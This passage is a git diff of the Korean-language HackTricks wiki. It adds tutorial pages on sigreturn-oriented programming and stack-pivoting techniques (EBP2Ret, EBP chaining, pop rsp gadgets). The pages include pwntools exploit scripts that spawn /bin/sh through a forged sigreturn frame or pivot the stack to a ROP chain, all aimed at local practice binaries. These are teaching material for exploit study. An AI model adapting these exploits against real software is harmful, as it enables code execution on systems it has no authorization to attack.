url="srop-sigreturn-oriented-programming.md" %} +[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md) +{% endcontent-ref %} + ## 예제 ```python from pwn import * @@ -176,14 +182,14 @@ target.interactive()
-제로부터 히어로가 되는 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 HackTricks를 지원하는 다른 방법: -* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** -* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md new file mode 100644 index 000000000..90f66c9f9 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md @@ -0,0 +1,85 @@ +# SROP - Sigreturn-Oriented Programming + +
+ +htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! + +HackTricks를 지원하는 다른 방법: + +- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요. + +
+ +## 기본 정보 + +**`Sigreturn`**은 주로 **시그널 핸들러가 실행을 완료한 후 정리하는 데 사용되는 특수 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 **시그널 핸들러**로 시그널을 처리하는 특수 함수로 이동합니다. + +시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다. + +흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 스택 포인터 레지스터(RSP)를 포함하여 CPU의 레지스터를 포함합니다. + +{% hint style="danger" %} +ROP 체인에서 **`sigreturn`**을 호출하고 **레지스트리 값**을 **스택**에 로드하면 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 **호출**할 수 있습니다. +{% endhint %} + +이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**이 될 것임을 주목하세요: + +{% content-ref url="rop-syscall-execv.md" %} +[rop-syscall-execv.md](rop-syscall-execv.md) +{% endcontent-ref %} + +더 나은 설명을 위해 다음도 확인하세요: + +{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} + +## 예제 + +[**여기에서 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), 그러나 이것은 거기서의 최종 exploit입니다: +```python +from pwn import * + +elf = context.binary = ELF('./vuln', checksec=False) +p = process() + +BINSH = elf.address + 0x1250 +POP_RAX = 0x41018 +SYSCALL_RET = 0x41015 + +frame = SigreturnFrame() +frame.rax = 0x3b # syscall number for execve +frame.rdi = BINSH # pointer to /bin/sh +frame.rsi = 0x0 # NULL +frame.rdx = 0x0 # NULL +frame.rip = SYSCALL_RET + +payload = b'A' * 8 +payload += p64(POP_RAX) +payload += p64(0xf) +payload += p64(SYSCALL_RET) +payload += bytes(frame) + +p.sendline(payload) +p.interactive() +``` +## 참고 자료 + +* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) +* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) + +
+ +제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md new file mode 100644 index 000000000..a6eb8277b --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -0,0 +1,165 @@ +# 스택 피벗팅 - EBP2Ret - EBP 체이닝 + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)! + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요.** + +
+ +## 기본 정보 + +이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 `leave; ret` 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다. + +`leave`는 기본적으로 다음을 의미합니다: +``` +movl %ebp, %esp +popl %ebp +ret +``` +### EBP2Ret + +이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용**합니다. 함수가 실행을 마치면서 발생하는 동작을 활용합니다. + +`fvuln`의 실행 중에 스택에 가짜 EBP를 삽입하여 해당 위치가 쉘코드 주소가 있는 메모리 영역을 가리키도록 관리한다면 (pop 작업을 고려하여 4바이트를 더한 위치), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환될 때 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 실제로 쉘코드를 가리키도록 만듭니다. `ret` 명령이 실행되면 제어가 쉘코드로 전달됩니다. + +#### Exploit 구성 + +먼저 실행 가능한 메모리의 어딘가에 **쉘코드를 삽입**하고 **주소를 가져오거나**, 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)의 주소를 가져오거나, ESP를 `system()`의 주소와 **4바이트의 쓰레기 바이트** 및 `"/bin/sh"`의 주소가 있는 위치로 지정해야 합니다. + +그런 다음, 패딩을 생성하고 `shellcode/one_gadget 주소 - 4`로 EBP를 **손상**시켜야 합니다. `pop` 때문에 `-4`여야 합니다. 그런 다음 `ESP`는 우리가 원하는 주소를 가리키게 되고 `ret`가 실행됩니다. + +#### Off-By-One Exploit + +이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우 쉘코드 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하므로 더 제약 조건이 있는 유사한 조작이 가능합니다. + +### **EBP Chaining** + +따라서 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP`에 `leave; ret`의 주소를 넣으면 **`ESP`를 스택에서 제어 가능한 `EBP` 주소로 이동**할 수 있습니다. + +이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령이 `RET`인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 배치할 수 있습니다: + +* **`&(다음 가짜 EBP)`** -> `leave` 명령의 `pop ebp`로 새로운 EBP를 로드합니다. +* **`system()`** -> `ret`에 의해 호출됩니다. +* **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다. +* **`&("/bin/sh")`**-> `system`의 매개변수 + +이 방법을 사용하면 프로그램의 흐름을 제어하기 위해 여러 가짜 EBP를 연결할 수 있습니다. + +솔직히 말해서, 이것은 [ret2lib](ret2lib/)와 유사하지만 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다. + +또한, 여기에는 이 기술을 사용하여 **우승 함수를 호출하는 승리 함수를 호출하는** **스택 누출**이 있는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이 페이지의 최종 페이로드는 다음과 같습니다: +```python +from pwn import * + +elf = context.binary = ELF('./vuln') +p = process() + +p.recvuntil('to: ') +buffer = int(p.recvline(), 16) +log.success(f'Buffer: {hex(buffer)}') + +LEAVE_RET = 0x40117c +POP_RDI = 0x40122b +POP_RSI_R15 = 0x401229 + +payload = flat( +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] +) + +payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) + +payload += flat( +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +) + +pause() +p.sendline(payload) +print(p.recvline()) +``` +## RSP를 제어하는 다른 방법 + +### **`pop rsp`** 가젯 + +[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 있었으며 **스택에서의 leak**이 있었습니다: +```python +# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp +# This version has added comments + +from pwn import * + +elf = context.binary = ELF('./vuln') +p = process() + +p.recvuntil('to: ') +buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user +log.success(f'Buffer: {hex(buffer)}') + +POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret +POP_RDI = 0x40122b +POP_RSI_R15 = 0x401229 # pop RSI and R15 + +# The payload starts +payload = flat( +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] +) + +payload = payload.ljust(104, b'A') # pad to 104 + +# Start popping RSP, this moves the stack to the leaked address and +# continues the ROP chain in the prepared payload +payload += flat( +POP_CHAIN, +buffer # rsp +) + +pause() +p.sendline(payload) +print(p.recvline()) +``` +### xchg \, rsp 가젯 +``` +pop <=== return pointer + +xchg , rsp +``` +## 참고 자료 + +* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) +* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) + +
+ +제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. + +